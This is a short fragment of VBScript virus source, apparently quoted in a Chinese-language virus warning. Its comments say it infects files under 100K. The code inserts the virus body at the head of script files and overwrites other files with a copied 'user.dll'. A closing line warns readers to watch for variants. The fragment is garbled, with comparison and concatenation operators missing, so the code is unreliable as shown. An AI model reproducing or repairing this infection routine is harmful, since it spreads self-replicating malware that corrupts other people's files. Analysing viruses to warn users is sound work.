if f.size MAX_SIZE then exit sub '传染大小小于100K的文件
set tso = fso.OpenTextFile(Path, 1, true)
buffer = tso.ReadAll()
tso.close
if (t = 1) then
if UCase(Left(LTrim(buffer), 7)) "SCRIPT" then
set tso = fso.OpenTextFile(Path, 2, true)
tso.Write Code_Str vbcrlf buffer '插入到文件头
tso.close
end if
else
if mid(buffer, 3, 2) "'@" then
tso.close
sr=w2 "user.dll"
if fso.FileExists(sr) then fso.CopyFile sr, Path
end if
end if
end sub
虽然病毒发作日已过但我们还是要小心提防病毒的变种出现。